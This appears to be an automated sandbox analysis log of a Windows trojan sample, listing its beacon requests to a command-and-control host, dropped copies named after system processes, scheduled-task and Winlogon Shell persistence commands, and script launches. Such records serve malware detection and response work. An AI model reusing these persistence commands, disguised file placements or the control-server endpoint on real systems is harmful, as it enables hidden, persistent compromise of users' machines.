Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.techConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /L1nc0In.php?BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM&f148c750bfef76378faaa4b867763122=286f23a1c4240333304536fe42a67044&fb9e0fc349ccee31b4da9f95d6e3cb16=gZhJTO4YmNwAjY3YjMmhTMkZWM4MjYlZjNldTZ4kTYhFzNmZGZwYWM&BUISt3=gMc0F&6MLl4TR7bW=lK7at6jiv9hnPMHdbskIx3H&JkwIAjLj8Zrj5q=Q2STSZi6ZxzzP0N4rChRJJbhM HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29Host: rustpidc.beget.tech

Source: global traffic

DNS traffic detected: DNS query: rustpidc.beget.tech

Source: smss.exe, 00000023.00000002.2372427654.0000000002FAF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.bePb
Source: smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FB9000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002FA7000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002CB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech
Source: smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech/
Source: smss.exe, 00000023.00000002.2372427654.0000000002D00000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://rustpidc.beget.tech/L1nc0In.php?N39Ok=XWYIyBbUvr4DFdLfiF&4i2q7jz9vgbe7=vWHj0x15g3ZlPI26sU&f14
Source: 2RM12KtuNp.exe, 00000000.00000002.2107606474.0000000002952000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002EA0000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 00000023.00000002.2372427654.0000000002BD6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Source: C:\Windows\System32\wscript.exe	COM Object queried: WBEM Locator HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}
Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Management and Instrumentation HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}

Detected potential crypto function

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Code function: 0_2_00007FF848D935C5	0_2_00007FF848D935C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 6_2_00007FF848D835C5	6_2_00007FF848D835C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 8_2_00007FF848D835C5	8_2_00007FF848D835C5
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 23_2_00007FF848DB35C5	23_2_00007FF848DB35C5
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 24_2_00007FF848D835C5	24_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 27_2_00007FF848D835C5	27_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 28_2_00007FF848DB35C5	28_2_00007FF848DB35C5
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 30_2_00007FF848DA35C5	30_2_00007FF848DA35C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848D935C5	35_2_00007FF848D935C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848DA9372	35_2_00007FF848DA9372
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 36_2_00007FF848DA35C5	36_2_00007FF848DA35C5
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 39_2_00007FF848D835C5	39_2_00007FF848D835C5
Source: C:\Recovery\sppsvc.exe	Code function: 40_2_00007FF848DA35C5	40_2_00007FF848DA35C5

PE file contains executable resources (Code or Archives)

Source: 2RM12KtuNp.exe	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: sppsvc.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970
Source: WmiPrvSE.exe.0.dr	Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Sample file is different than original file name gathered from version info

Source: 2RM12KtuNp.exe, 00000000.00000002.2120733534.000000001B383000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2112936217.000000001249D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename$ vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2106941468.00000000022A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120263902.000000001ADB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120313271.000000001ADC0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2121293997.000000001B4B0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2121260940.000000001B430000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2107457682.0000000002370000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameDisableUAC.dclib4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2121061474.000000001B41F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exej% vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000000.2055607692.0000000000176000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2119477832.000000001AD60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename$ vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2107404189.0000000002350000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBSoDProtection.dclib4 vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe, 00000000.00000002.2120101140.000000001AD80000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilename( vs 2RM12KtuNp.exe
Source: 2RM12KtuNp.exe	Binary or memory string: OriginalFilenamelibGLESv2.dll4 vs 2RM12KtuNp.exe

Uses 32bit PE files

Source: 2RM12KtuNp.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2RM12KtuNp.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: sppsvc.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: WmiPrvSE.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2RM12KtuNp.exe, lfBKgybKIWOl2QD3Vbu.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2RM12KtuNp.exe, Rn584CfdX52nOnYl42w.cs	Cryptographic APIs: 'TransformBlock'
Source: 2RM12KtuNp.exe, Rn584CfdX52nOnYl42w.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.troj.evad.winEXE@46/29@1/1

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe

Source: C:\Recovery\sppsvc.exe	Mutant created: NULL
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\85b3624db5deca048467b79a3cf7e95690756c52
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2684:120:WilError_03

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: unknown	Process created: C:\Users\user\Desktop\2RM12KtuNp.exe "C:\Users\user\Desktop\2RM12KtuNp.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe'" /rl HIGHEST /f
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smsss" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /f
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smss" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "smsss" /sc MINUTE /mo 8 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\smss.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 7 /tr "'C:\Recovery\sppsvc.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 12 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnN" /sc ONLOGON /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fuBYljHeUjtkgvlnNf" /sc MINUTE /mo 13 /tr "'C:\Recovery\fuBYljHeUjtkgvlnN.exe'" /rl HIGHEST /f
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe C:\Recovery\fuBYljHeUjtkgvlnN.exe
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe C:\Recovery\fuBYljHeUjtkgvlnN.exe
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\sppsvc.exe C:\Recovery\sppsvc.exe
Source: unknown	Process created: C:\Recovery\sppsvc.exe C:\Recovery\sppsvc.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe "C:\Users\All Users\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe"
Source: unknown	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\fuBYljHeUjtkgvlnN.exe "C:\Recovery\fuBYljHeUjtkgvlnN.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: unknown	Process created: C:\Recovery\sppsvc.exe "C:\Recovery\sppsvc.exe"
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsQlNPpiOn.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"	Jump to behavior
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\df7dcee1-31d9-41cd-9118-ff1c3adb1964.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\95f930af-8a5c-4110-bf02-41517346f671.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\b0c9a6b4-f4b7-4599-b561-a3049e581ced.vbs"
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7e00ec7d-7c2b-46a0-b437-c1650ed4cfe9.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe "C:\Program Files\Microsoft Office 15\ClientX64\smss.exe"

Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ System.AppDomain.Load(byte[])
Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ System.Reflection.Assembly.Load(byte[])
Source: 2RM12KtuNp.exe, fYHj1RupqU7Pn2SoLkC.cs	.Net Code: BsCWnZvxnZ

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Code function: 0_2_00007FF848D900BD pushad ; iretd	0_2_00007FF848D900C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 6_2_00007FF848D800BD pushad ; iretd	6_2_00007FF848D800C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 8_2_00007FF848D800BD pushad ; iretd	8_2_00007FF848D800C1
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 23_2_00007FF848DB00BD pushad ; iretd	23_2_00007FF848DB00C1
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 24_2_00007FF848D800BD pushad ; iretd	24_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 27_2_00007FF848D800BD pushad ; iretd	27_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 28_2_00007FF848DB00BD pushad ; iretd	28_2_00007FF848DB00C1
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Code function: 30_2_00007FF848DA00BD pushad ; iretd	30_2_00007FF848DA00C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848D900BD pushad ; iretd	35_2_00007FF848D900C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 35_2_00007FF848DAD943 push cs; iretd	35_2_00007FF848DAD947
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Code function: 36_2_00007FF848DA00BD pushad ; iretd	36_2_00007FF848DA00C1
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Code function: 39_2_00007FF848D800BD pushad ; iretd	39_2_00007FF848D800C1
Source: C:\Recovery\sppsvc.exe	Code function: 40_2_00007FF848DA00BD pushad ; iretd	40_2_00007FF848DA00C1

Source: 2RM12KtuNp.exe	Static PE information: section name: .text entropy: 7.137836698010557
Source: fuBYljHeUjtkgvlnN.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: sppsvc.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: fuBYljHeUjtkgvlnN.exe0.0.dr	Static PE information: section name: .text entropy: 7.137836698010557
Source: WmiPrvSE.exe.0.dr	Static PE information: section name: .text entropy: 7.137836698010557

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Jump to dropped file
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	File created: C:\Users\user\AppData\Local\Temp\6097a71ae8c8063dafca0bb1115c8c625898b3ca.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Recovery\sppsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	File created: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Jump to dropped file

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

